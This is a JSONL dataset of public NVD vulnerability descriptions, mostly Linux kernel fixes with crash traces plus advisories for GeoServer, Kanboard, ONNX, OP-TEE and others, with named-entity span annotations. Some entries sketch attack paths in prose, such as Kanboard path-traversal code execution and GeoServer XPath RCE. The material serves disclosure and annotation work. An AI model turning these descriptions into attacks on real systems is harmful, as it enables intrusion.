{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv4: nexthop: allocate skb dynamically in rtm_get_nexthop()\n\nWhen querying a nexthop object via RTM_GETNEXTHOP, the kernel currently\nallocates a fixed-size skb using NLMSG_GOODSIZE. While sufficient for\nsingle nexthops and small Equal-Cost Multi-Path groups, this fixed\nallocation fails for large nexthop groups like 512 nexthops.\n\nThis results in the following warning splat:\n\n WARNING: net/ipv4/nexthop.c:3395 at rtm_get_nexthop+0x176/0x1c0, CPU#20: rep/4608\n [...]\n RIP: 0010:rtm_get_nexthop (net/ipv4/nexthop.c:3395)\n [...]\n Call Trace:\n  <TASK>\n  rtnetlink_rcv_msg (net/core/rtnetlink.c:6989)\n  netlink_rcv_skb (net/netlink/af_netlink.c:2550)\n  netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1344)\n  netlink_sendmsg (net/netlink/af_netlink.c:1894)\n  ____sys_sendmsg (net/socket.c:721 net/socket.c:736 net/socket.c:2585)\n  ___sys_sendmsg (net/socket.c:2641)\n  __sys_sendmsg (net/socket.c:2671)\n  do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)\n  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n  </TASK>\n\nFix this by allocating the size dynamically using nh_nlmsg_size() and\nusing nlmsg_new(), this is consistent with nexthop_notify() behavior. In\naddition, adjust nh_nlmsg_size_grp() so it calculates the size needed\nbased on flags passed. While at it, also add the size of NHA_FDB for\nnexthop group size calculation as it was missing too.\n\nThis cannot be reproduced via iproute2 as the group size is currently\nlimited and the command fails as follows:\n\naddattr_l ERROR: message exceeded bound of 1048", "spans": {"FILEPATH: /ipv4/nexthop.c": [[461, 476], [569, 584]], "FILEPATH: /core/rtnetlink.c": [[644, 661]], "FILEPATH: /netlink/af_netlink.c": [[690, 711], [740, 761], [770, 791], [820, 841]], "FILEPATH: /x86/entry/syscall_64.c": [[1014, 1037], [1045, 1068]], "FILEPATH: /x86/entry/entry_64.S": [[1111, 1132]], "FILEPATH: socket.c": [[871, 879], [888, 896], [905, 913], [942, 950], [978, 986]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31531"}}
{"text": "HedgeDoc is an open source, real-time, collaborative, markdown notes application. When using HedgeDoc 1 with MySQL or MariaDB, it is possible to create notes with an alias matching the ID of existing notes. The affected existing note can then not be accessed anymore and is effectively hidden by the new one. When the freeURL feature is enabled (by setting the `allowFreeURL` config option or the `CMD_ALLOW_FREEURL` environment variable to `true`), any user with the appropriate permissions can create a note with an arbitrary alias, e.g. by accessing it in the browser. When MySQL or MariaDB are used, it is possible to create a new note with an alias that matches the lower-cased ID of a different note. HedgeDoc then always presents the new note to users, as these databases perform case-insensitive matching and the lower-cased alias is found first. This issue only affects HedgeDoc instances that use MySQL or MariaDB. Depending on the permission settings of the HedgeDoc instance, the issue can be exploited only by logged-in users or by all (including non-logged-in) users. The exploit requires knowledge of the ID of the target note. Attackers could use this issue to present a manipulated copy of the original note to the user, e.g. by replacing the links with malicious ones. Attackers can also use this issue to prevent access to the original note, causing a denial of service. No data is lost, as the original content of the affected notes is still present in the database. Users are advised to upgrade to version 1.10.0 which addresses this issue. Users unable to upgrade may disable freeURL mode which prevents the exploitation of this issue. The impact can also be limited by restricting freeURL note creation to trusted, logged-in users by enabling `requireFreeURLAuthentication`/`CMD_REQUIRE_FREEURL_AUTHENTICATION`.", "spans": {"SYSTEM: MariaDB": [[118, 125], [586, 593], [916, 923]], "SYSTEM: MySQL": [[109, 114], [577, 582], [907, 912]], "VULNERABILITY: denial of service": [[1371, 1388]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-45308"}}
{"text": "Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. In versions up to and including 1.20.1, a security control bypass exists in onnx.hub.load() due to improper logic in the repository trust verification mechanism. While the function is designed to warn users when loading models from non-official sources, the use of the silent=True parameter completely suppresses all security warnings and confirmation prompts. This vulnerability transforms a standard model-loading function into a vector for Zero-Interaction Supply-Chain Attacks. When chained with file-system vulnerabilities, an attacker can silently exfiltrate sensitive files (SSH keys, cloud credentials) from the victim's machine the moment the model is loaded. As of time of publication, no known patched versions are available.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-28500"}}
{"text": "Vulnerability in SuiteCommerce Advanced (SCA) Sites component of Oracle NetSuite service. Supported versions that are affected are prior to 2020.1.4. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise NetSuite SCA. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all NetSuite SCA accessible data as well as unauthorized read access to a subset of NetSuite SCA data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:H/A:N).", "spans": {"ORGANIZATION: Oracle": [[65, 71]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14729"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nlib/group_cpus: fix NULL pointer dereference from group_cpus_evenly()\n\nWhile testing null_blk with configfs, echo 0 > poll_queues will trigger\nfollowing panic:\n\nBUG: kernel NULL pointer dereference, address: 0000000000000010\nOops: Oops: 0000 [#1] SMP NOPTI\nCPU: 27 UID: 0 PID: 920 Comm: bash Not tainted 6.15.0-02023-gadbdb95c8696-dirty #1238 PREEMPT(undef)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.1-2.fc37 04/01/2014\nRIP: 0010:__bitmap_or+0x48/0x70\nCall Trace:\n <TASK>\n __group_cpus_evenly+0x822/0x8c0\n group_cpus_evenly+0x2d9/0x490\n blk_mq_map_queues+0x1e/0x110\n null_map_queues+0xc9/0x170 [null_blk]\n blk_mq_update_queue_map+0xdb/0x160\n blk_mq_update_nr_hw_queues+0x22b/0x560\n nullb_update_nr_hw_queues+0x71/0xf0 [null_blk]\n nullb_device_poll_queues_store+0xa4/0x130 [null_blk]\n configfs_write_iter+0x109/0x1d0\n vfs_write+0x26e/0x6f0\n ksys_write+0x79/0x180\n __x64_sys_write+0x1d/0x30\n x64_sys_call+0x45c4/0x45f0\n do_syscall_64+0xa5/0x240\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nRoot cause is that numgrps is set to 0, and ZERO_SIZE_PTR is returned from\nkcalloc(), and later ZERO_SIZE_PTR will be deferenced.\n\nFix the problem by checking numgrps first in group_cpus_evenly(), and\nreturn NULL directly if numgrps is zero.\n\n[yukuai3@huawei.com: also fix the non-SMP version]", "spans": {"DOMAIN: huawei.com": [[1330, 1340]], "FILEPATH: /01/2014": [[503, 511]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[442, 446]], "VULNERABILITY: NULL pointer dereference": [[89, 113], [242, 266]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38255"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbinder: fix use-after-free in shinker's callback\n\nThe mmap read lock is used during the shrinker's callback, which means\nthat using alloc->vma pointer isn't safe as it can race with munmap().\nAs of commit dd2283f2605e (\"mm: mmap: zap pages with read mmap_sem in\nmunmap\") the mmap lock is downgraded after the vma has been isolated.\n\nI was able to reproduce this issue by manually adding some delays and\ntriggering page reclaiming through the shrinker's debug sysfs. The\nfollowing KASAN report confirms the UAF:\n\n  ==================================================================\n  BUG: KASAN: slab-use-after-free in zap_page_range_single+0x470/0x4b8\n  Read of size 8 at addr ffff356ed50e50f0 by task bash/478\n\n  CPU: 1 PID: 478 Comm: bash Not tainted 6.6.0-rc5-00055-g1c8b86a3799f-dirty #70\n  Hardware name: linux,dummy-virt (DT)\n  Call trace:\n   zap_page_range_single+0x470/0x4b8\n   binder_alloc_free_page+0x608/0xadc\n   __list_lru_walk_one+0x130/0x3b0\n   list_lru_walk_node+0xc4/0x22c\n   binder_shrink_scan+0x108/0x1dc\n   shrinker_debugfs_scan_write+0x2b4/0x500\n   full_proxy_write+0xd4/0x140\n   vfs_write+0x1ac/0x758\n   ksys_write+0xf0/0x1dc\n   __arm64_sys_write+0x6c/0x9c\n\n  Allocated by task 492:\n   kmem_cache_alloc+0x130/0x368\n   vm_area_alloc+0x2c/0x190\n   mmap_region+0x258/0x18bc\n   do_mmap+0x694/0xa60\n   vm_mmap_pgoff+0x170/0x29c\n   ksys_mmap_pgoff+0x290/0x3a0\n   __arm64_sys_mmap+0xcc/0x144\n\n  Freed by task 491:\n   kmem_cache_free+0x17c/0x3c8\n   vm_area_free_rcu_cb+0x74/0x98\n   rcu_core+0xa38/0x26d4\n   rcu_core_si+0x10/0x1c\n   __do_softirq+0x2fc/0xd24\n\n  Last potentially related work creation:\n   __call_rcu_common.constprop.0+0x6c/0xba0\n   call_rcu+0x10/0x1c\n   vm_area_free+0x18/0x24\n   remove_vma+0xe4/0x118\n   do_vmi_align_munmap.isra.0+0x718/0xb5c\n   do_vmi_munmap+0xdc/0x1fc\n   __vm_munmap+0x10c/0x278\n   __arm64_sys_munmap+0x58/0x7c\n\nFix this issue by performing instead a vma_lookup() which will fail to\nfind the vma that was isolated before the mmap lock downgrade. Note that\nthis option has better performance than upgrading to a mmap write lock\nwhich would increase contention. Plus, mmap_write_trylock() has been\nrecently removed anyway.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[81, 95], [669, 683]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52438"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nspi: fix null pointer dereference within spi_sync\n\nIf spi_sync() is called with the non-empty queue and the same spi_message\nis then reused, the complete callback for the message remains set while\nthe context is cleared, leading to a null pointer dereference when the\ncallback is invoked from spi_finalize_current_message().\n\nWith function inlining disabled, the call stack might look like this:\n\n  _raw_spin_lock_irqsave from complete_with_flags+0x18/0x58\n  complete_with_flags from spi_complete+0x8/0xc\n  spi_complete from spi_finalize_current_message+0xec/0x184\n  spi_finalize_current_message from spi_transfer_one_message+0x2a8/0x474\n  spi_transfer_one_message from __spi_pump_transfer_message+0x104/0x230\n  __spi_pump_transfer_message from __spi_transfer_message_noqueue+0x30/0xc4\n  __spi_transfer_message_noqueue from __spi_sync+0x204/0x248\n  __spi_sync from spi_sync+0x24/0x3c\n  spi_sync from mcp251xfd_regmap_crc_read+0x124/0x28c [mcp251xfd]\n  mcp251xfd_regmap_crc_read [mcp251xfd] from _regmap_raw_read+0xf8/0x154\n  _regmap_raw_read from _regmap_bus_read+0x44/0x70\n  _regmap_bus_read from _regmap_read+0x60/0xd8\n  _regmap_read from regmap_read+0x3c/0x5c\n  regmap_read from mcp251xfd_alloc_can_err_skb+0x1c/0x54 [mcp251xfd]\n  mcp251xfd_alloc_can_err_skb [mcp251xfd] from mcp251xfd_irq+0x194/0xe70 [mcp251xfd]\n  mcp251xfd_irq [mcp251xfd] from irq_thread_fn+0x1c/0x78\n  irq_thread_fn from irq_thread+0x118/0x1f4\n  irq_thread from kthread+0xd8/0xf4\n  kthread from ret_from_fork+0x14/0x28\n\nFix this by also setting message->complete to NULL when the transfer is\ncomplete.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: null pointer dereference": [[78, 102], [303, 327]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-36930"}}
{"text": "Kanboard is project management software that focuses on the Kanban methodology. An authenticated Kanboard admin can run arbitrary php code on the server in combination with a file write possibility. The user interface language is determined and loaded by the setting `application_language` in the `settings` table. Thus, an attacker who can upload a modified sqlite.db through the dedicated feature, has control over the filepath, which is loaded. Exploiting this vulnerability has one constraint: the attacker must be able to place a file (called translations.php) on the system. However, this is not impossible, think of anonymous FTP server or another application that allows uploading files. Once the attacker has placed its file with the actual php code as the payload, the attacker can craft a sqlite db settings, which uses path traversal to point to the directory, where the `translations.php` file is stored. Then gaining code execution after importing the crafted sqlite.db. This issue has been addressed in version 1.2.42 and all users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"FILEPATH: translations.php": [[548, 564], [884, 900]], "VULNERABILITY: code execution": [[931, 945]], "VULNERABILITY: path traversal": [[831, 845]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-51748"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: USB: Fix wrong-direction WARNING in plusb.c\n\nThe syzbot fuzzer detected a bug in the plusb network driver: A\nzero-length control-OUT transfer was treated as a read instead of a\nwrite.  In modern kernels this error provokes a WARNING:\n\nusb 1-1: BOGUS control dir, pipe 80000280 doesn't match bRequestType c0\nWARNING: CPU: 0 PID: 4645 at drivers/usb/core/urb.c:411\nusb_submit_urb+0x14a7/0x1880 drivers/usb/core/urb.c:411\nModules linked in:\nCPU: 1 PID: 4645 Comm: dhcpcd Not tainted\n6.2.0-rc6-syzkaller-00050-g9f266ccaa2f5 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google\n01/12/2023\nRIP: 0010:usb_submit_urb+0x14a7/0x1880 drivers/usb/core/urb.c:411\n...\nCall Trace:\n <TASK>\n usb_start_wait_urb+0x101/0x4b0 drivers/usb/core/message.c:58\n usb_internal_control_msg drivers/usb/core/message.c:102 [inline]\n usb_control_msg+0x320/0x4a0 drivers/usb/core/message.c:153\n __usbnet_read_cmd+0xb9/0x390 drivers/net/usb/usbnet.c:2010\n usbnet_read_cmd+0x96/0xf0 drivers/net/usb/usbnet.c:2068\n pl_vendor_req drivers/net/usb/plusb.c:60 [inline]\n pl_set_QuickLink_features drivers/net/usb/plusb.c:75 [inline]\n pl_reset+0x2f/0xf0 drivers/net/usb/plusb.c:85\n usbnet_open+0xcc/0x5d0 drivers/net/usb/usbnet.c:889\n __dev_open+0x297/0x4d0 net/core/dev.c:1417\n __dev_change_flags+0x587/0x750 net/core/dev.c:8530\n dev_change_flags+0x97/0x170 net/core/dev.c:8602\n devinet_ioctl+0x15a2/0x1d70 net/ipv4/devinet.c:1147\n inet_ioctl+0x33f/0x380 net/ipv4/af_inet.c:979\n sock_do_ioctl+0xcc/0x230 net/socket.c:1169\n sock_ioctl+0x1f8/0x680 net/socket.c:1286\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:870 [inline]\n __se_sys_ioctl fs/ioctl.c:856 [inline]\n __x64_sys_ioctl+0x197/0x210 fs/ioctl.c:856\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x39/0xb0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nThe fix is to call usbnet_write_cmd() instead of usbnet_read_cmd() and\nremove the USB_DIR_IN flag.", "spans": {"FILEPATH: /usb/core/urb.c": [[417, 432], [473, 488], [733, 748]], "FILEPATH: /12/2023": [[678, 686]], "FILEPATH: /usb/core/message.c": [[816, 835], [872, 891], [941, 960]], "FILEPATH: /net/usb/usbnet.c": [[1002, 1019], [1059, 1076], [1274, 1291]], "FILEPATH: /net/usb/plusb.c": [[1104, 1120], [1167, 1183], [1223, 1239]], "FILEPATH: /core/dev.c": [[1323, 1334], [1375, 1386], [1424, 1435]], "FILEPATH: /ipv4/devinet.c": [[1473, 1488]], "FILEPATH: /ipv4/af_inet.c": [[1521, 1536]], "FILEPATH: /x86/entry/common.c": [[1805, 1824], [1866, 1885]], "FILEPATH: plusb.c": [[110, 117]], "FILEPATH: socket.c": [[1571, 1579], [1613, 1621]], "FILEPATH: ioctl.c": [[1641, 1648], [1680, 1687], [1720, 1727], [1773, 1780]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[612, 618], [619, 625], [641, 647], [669, 675]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52742"}}
{"text": "OP-TEE Trusted OS is the secure side implementation of OP-TEE project, a Trusted Execution Environment. Versions prior to 3.19.0, contain an Improper Validation of Array Index vulnerability. The function `cleanup_shm_refs()` is called by both `entry_invoke_command()` and `entry_open_session()`. The commands `OPTEE_MSG_CMD_OPEN_SESSION` and `OPTEE_MSG_CMD_INVOKE_COMMAND` can be executed from the normal world via an OP-TEE SMC. This function is not validating the `num_params` argument, which is only limited to `OPTEE_MSG_MAX_NUM_PARAMS` (127) in the function `get_cmd_buffer()`. Therefore, an attacker in the normal world can craft an SMC call that will cause out-of-bounds reading in `cleanup_shm_refs` and potentially freeing of fake-objects in the function `mobj_put()`. A normal-world attacker with permission to execute SMC instructions may exploit this flaw. Maintainers believe this problem permits local privilege escalation from the normal world to the secure world. Version 3.19.0 contains a fix for this issue. There are no known workarounds.", "spans": {"VULNERABILITY: privilege escalation": [[916, 936]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-46152"}}
{"text": "GeoServer is an open source server that allows users to share and edit geospatial data. Prior to versions 2.22.6, 2.23.6, 2.24.4, and 2.25.2, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.\n\nThe GeoTools library API that GeoServer calls evaluates property/attribute names for feature types in a way that unsafely passes them to the commons-jxpath library which can execute arbitrary code when evaluating XPath expressions. This XPath evaluation is intended to be used only by complex feature types (i.e., Application Schema data stores) but is incorrectly being applied to simple feature types as well which makes this vulnerability apply to **ALL** GeoServer instances. No public PoC is provided but this vulnerability has been confirmed to be exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests. This vulnerability can lead to executing arbitrary code.\n\nVersions 2.22.6, 2.23.6, 2.24.4, and 2.25.2 contain a patch for the issue. A workaround exists by removing the `gt-complex-x.y.jar` file from the GeoServer where `x.y` is the GeoTools version (e.g., `gt-complex-31.1.jar` if running GeoServer 2.25.1). This will remove the vulnerable code from GeoServer but may break some GeoServer functionality or prevent GeoServer from deploying if the gt-complex module is needed.", "spans": {"VULNERABILITY: Remote Code Execution": [[180, 201]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-36401"}}
{"text": "When a HTTP/2 stream was reset (RST frame) by a client, there was a time window were the request's memory resources were not reclaimed immediately. Instead, de-allocation was deferred to connection close. A client could send new requests and resets, keeping the connection busy and open and causing the memory footprint to keep on growing. On connection close, all resources were reclaimed, but the process might run out of memory before that.\n\nThis was found by the reporter during testing of CVE-2023-44487 (HTTP/2 Rapid Reset Exploit) with their own test client. During \"normal\" HTTP/2 use, the probability to hit this bug is very low. The kept memory would not become noticeable before the connection closes or times out.\n\nUsers are recommended to upgrade to version 2.4.58, which fixes the issue.", "spans": {"CVE_ID: CVE-2023-44487": [[494, 508]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-45802"}}
{"text": "Vulnerability in the Oracle One-to-One Fulfillment product of Oracle E-Business Suite (component: Print Server). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle One-to-One Fulfillment. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle One-to-One Fulfillment, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle One-to-One Fulfillment accessible data as well as unauthorized update, insert or delete access to some of Oracle One-to-One Fulfillment accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [62, 68], [295, 301], [443, 449], [646, 652], [759, 765]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2870"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: Hold net reference for the lifetime of /proc/fs/nfs/exports fd\n\nThe /proc/fs/nfs/exports proc entry is created at module init\nand persists for the module's lifetime. exports_proc_open()\ncaptures the caller's current network namespace and stores\nits svc_export_cache in seq->private, but takes no reference\non the namespace. If the namespace is subsequently torn down\n(e.g. container destruction after the opener does setns() to a\ndifferent namespace), nfsd_net_exit() calls nfsd_export_shutdown()\nwhich frees the cache. Subsequent reads on the still-open fd\ndereference the freed cache_detail, walking a freed hash table.\n\nHold a reference on the struct net for the lifetime of the open\nfile descriptor. This prevents nfsd_net_exit() from running --\nand thus prevents nfsd_export_shutdown() from freeing the cache\n-- while any exports fd is open. cache_detail already stores\nits net pointer (cd->net, set by cache_create_net()), so\nexports_release() can retrieve it without additional per-file\nstorage.", "spans": {"FILEPATH: /proc/fs/nfs/exports": [[114, 134], [143, 163]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31403"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_mod_security.php. When parsing the check_ip parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-9707.", "spans": {"IP_ADDRESS: 0.9.8.923": [[123, 132]], "FILEPATH: ajax_mod_security.php": [[228, 249]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15421"}}
{"text": "Issue summary: Calling the OpenSSL API function SSL_free_buffers may cause\nmemory to be accessed that was previously freed in some situations\n\nImpact summary: A use after free can have a range of potential consequences such\nas the corruption of valid data, crashes or execution of arbitrary code.\nHowever, only applications that directly call the SSL_free_buffers function are\naffected by this issue. Applications that do not call this function are not\nvulnerable. Our investigations indicate that this function is rarely used by\napplications.\n\nThe SSL_free_buffers function is used to free the internal OpenSSL buffer used\nwhen processing an incoming record from the network. The call is only expected\nto succeed if the buffer is not currently in use. However, two scenarios have\nbeen identified where the buffer is freed even when still in use.\n\nThe first scenario occurs where a record header has been received from the\nnetwork and processed by OpenSSL, but the full record body has not yet arrived.\nIn this case calling SSL_free_buffers will succeed even though a record has only\nbeen partially processed and the buffer is still in use.\n\nThe second scenario occurs where a full record containing application data has\nbeen received and processed by OpenSSL but the application has only read part of\nthis data. Again a call to SSL_free_buffers will succeed even though the buffer\nis still in use.\n\nWhile these scenarios could occur accidentally during normal operation a\nmalicious attacker could attempt to engineer a stituation where this occurs.\nWe are not aware of this issue being actively exploited.\n\nThe FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue.", "spans": {"SYSTEM: OpenSSL": [[27, 34], [604, 611], [948, 955], [1252, 1259]], "VULNERABILITY: use after free": [[161, 175]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-4741"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched/fair: Don't balance task to its current running CPU\n\nWe've run into the case that the balancer tries to balance a migration\ndisabled task and trigger the warning in set_task_cpu() like below:\n\n ------------[ cut here ]------------\n WARNING: CPU: 7 PID: 0 at kernel/sched/core.c:3115 set_task_cpu+0x188/0x240\n Modules linked in: hclgevf xt_CHECKSUM ipt_REJECT nf_reject_ipv4 <...snip>\n CPU: 7 PID: 0 Comm: swapper/7 Kdump: loaded Tainted: G           O       6.1.0-rc4+ #1\n Hardware name: Huawei TaiShan 2280 V2/BC82AMDC, BIOS 2280-V2 CS V5.B221.01 12/09/2021\n pstate: 604000c9 (nZCv daIF +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n pc : set_task_cpu+0x188/0x240\n lr : load_balance+0x5d0/0xc60\n sp : ffff80000803bc70\n x29: ffff80000803bc70 x28: ffff004089e190e8 x27: ffff004089e19040\n x26: ffff007effcabc38 x25: 0000000000000000 x24: 0000000000000001\n x23: ffff80000803be84 x22: 000000000000000c x21: ffffb093e79e2a78\n x20: 000000000000000c x19: ffff004089e19040 x18: 0000000000000000\n x17: 0000000000001fad x16: 0000000000000030 x15: 0000000000000000\n x14: 0000000000000003 x13: 0000000000000000 x12: 0000000000000000\n x11: 0000000000000001 x10: 0000000000000400 x9 : ffffb093e4cee530\n x8 : 00000000fffffffe x7 : 0000000000ce168a x6 : 000000000000013e\n x5 : 00000000ffffffe1 x4 : 0000000000000001 x3 : 0000000000000b2a\n x2 : 0000000000000b2a x1 : ffffb093e6d6c510 x0 : 0000000000000001\n Call trace:\n  set_task_cpu+0x188/0x240\n  load_balance+0x5d0/0xc60\n  rebalance_domains+0x26c/0x380\n  _nohz_idle_balance.isra.0+0x1e0/0x370\n  run_rebalance_domains+0x6c/0x80\n  __do_softirq+0x128/0x3d8\n  ____do_softirq+0x18/0x24\n  call_on_irq_stack+0x2c/0x38\n  do_softirq_own_stack+0x24/0x3c\n  __irq_exit_rcu+0xcc/0xf4\n  irq_exit_rcu+0x18/0x24\n  el1_interrupt+0x4c/0xe4\n  el1h_64_irq_handler+0x18/0x2c\n  el1h_64_irq+0x74/0x78\n  arch_cpu_idle+0x18/0x4c\n  default_idle_call+0x58/0x194\n  do_idle+0x244/0x2b0\n  cpu_startup_entry+0x30/0x3c\n  secondary_start_kernel+0x14c/0x190\n  __secondary_switched+0xb0/0xb4\n ---[ end trace 0000000000000000 ]---\n\nFurther investigation shows that the warning is superfluous, the migration\ndisabled task is just going to be migrated to its current running CPU.\nThis is because that on load balance if the dst_cpu is not allowed by the\ntask, we'll re-select a new_dst_cpu as a candidate. If no task can be\nbalanced to dst_cpu we'll try to balance the task to the new_dst_cpu\ninstead. In this case when the migration disabled task is not on CPU it\nonly allows to run on its current CPU, load balance will select its\ncurrent CPU as new_dst_cpu and later triggers the warning above.\n\nThe new_dst_cpu is chosen from the env->dst_grpmask. Currently it\ncontains CPUs in sched_group_span() and if we have overlapped groups it's\npossible to run into this case. This patch makes env->dst_grpmask of\ngroup_balance_mask() which exclude any CPUs from the busiest group and\nsolve the issue. For balancing in a domain with no overlapped groups\nthe behaviour keeps same as before.", "spans": {"FILEPATH: /sched/core.c": [[339, 352]], "FILEPATH: /09/2021": [[625, 633]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Huawei": [[563, 569]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53215"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ninterconnect: Fix locking for runpm vs reclaim\n\nFor cases where icc_bw_set() can be called in callbaths that could\ndeadlock against shrinker/reclaim, such as runpm resume, we need to\ndecouple the icc locking.  Introduce a new icc_bw_lock for cases where\nwe need to serialize bw aggregation and update to decouple that from\npaths that require memory allocation such as node/link creation/\ndestruction.\n\nFixes this lockdep splat:\n\n   ======================================================\n   WARNING: possible circular locking dependency detected\n   6.2.0-rc8-debug+ #554 Not tainted\n   ------------------------------------------------------\n   ring0/132 is trying to acquire lock:\n   ffffff80871916d0 (&gmu->lock){+.+.}-{3:3}, at: a6xx_pm_resume+0xf0/0x234\n\n   but task is already holding lock:\n   ffffffdb5aee57e8 (dma_fence_map){++++}-{0:0}, at: msm_job_run+0x68/0x150\n\n   which lock already depends on the new lock.\n\n   the existing dependency chain (in reverse order) is:\n\n   -> #4 (dma_fence_map){++++}-{0:0}:\n          __dma_fence_might_wait+0x74/0xc0\n          dma_resv_lockdep+0x1f4/0x2f4\n          do_one_initcall+0x104/0x2bc\n          kernel_init_freeable+0x344/0x34c\n          kernel_init+0x30/0x134\n          ret_from_fork+0x10/0x20\n\n   -> #3 (mmu_notifier_invalidate_range_start){+.+.}-{0:0}:\n          fs_reclaim_acquire+0x80/0xa8\n          slab_pre_alloc_hook.constprop.0+0x40/0x25c\n          __kmem_cache_alloc_node+0x60/0x1cc\n          __kmalloc+0xd8/0x100\n          topology_parse_cpu_capacity+0x8c/0x178\n          get_cpu_for_node+0x88/0xc4\n          parse_cluster+0x1b0/0x28c\n          parse_cluster+0x8c/0x28c\n          init_cpu_topology+0x168/0x188\n          smp_prepare_cpus+0x24/0xf8\n          kernel_init_freeable+0x18c/0x34c\n          kernel_init+0x30/0x134\n          ret_from_fork+0x10/0x20\n\n   -> #2 (fs_reclaim){+.+.}-{0:0}:\n          __fs_reclaim_acquire+0x3c/0x48\n          fs_reclaim_acquire+0x54/0xa8\n          slab_pre_alloc_hook.constprop.0+0x40/0x25c\n          __kmem_cache_alloc_node+0x60/0x1cc\n          __kmalloc+0xd8/0x100\n          kzalloc.constprop.0+0x14/0x20\n          icc_node_create_nolock+0x4c/0xc4\n          icc_node_create+0x38/0x58\n          qcom_icc_rpmh_probe+0x1b8/0x248\n          platform_probe+0x70/0xc4\n          really_probe+0x158/0x290\n          __driver_probe_device+0xc8/0xe0\n          driver_probe_device+0x44/0x100\n          __driver_attach+0xf8/0x108\n          bus_for_each_dev+0x78/0xc4\n          driver_attach+0x2c/0x38\n          bus_add_driver+0xd0/0x1d8\n          driver_register+0xbc/0xf8\n          __platform_driver_register+0x30/0x3c\n          qnoc_driver_init+0x24/0x30\n          do_one_initcall+0x104/0x2bc\n          kernel_init_freeable+0x344/0x34c\n          kernel_init+0x30/0x134\n          ret_from_fork+0x10/0x20\n\n   -> #1 (icc_lock){+.+.}-{3:3}:\n          __mutex_lock+0xcc/0x3c8\n          mutex_lock_nested+0x30/0x44\n          icc_set_bw+0x88/0x2b4\n          _set_opp_bw+0x8c/0xd8\n          _set_opp+0x19c/0x300\n          dev_pm_opp_set_opp+0x84/0x94\n          a6xx_gmu_resume+0x18c/0x804\n          a6xx_pm_resume+0xf8/0x234\n          adreno_runtime_resume+0x2c/0x38\n          pm_generic_runtime_resume+0x30/0x44\n          __rpm_callback+0x15c/0x174\n          rpm_callback+0x78/0x7c\n          rpm_resume+0x318/0x524\n          __pm_runtime_resume+0x78/0xbc\n          adreno_load_gpu+0xc4/0x17c\n          msm_open+0x50/0x120\n          drm_file_alloc+0x17c/0x228\n          drm_open_helper+0x74/0x118\n          drm_open+0xa0/0x144\n          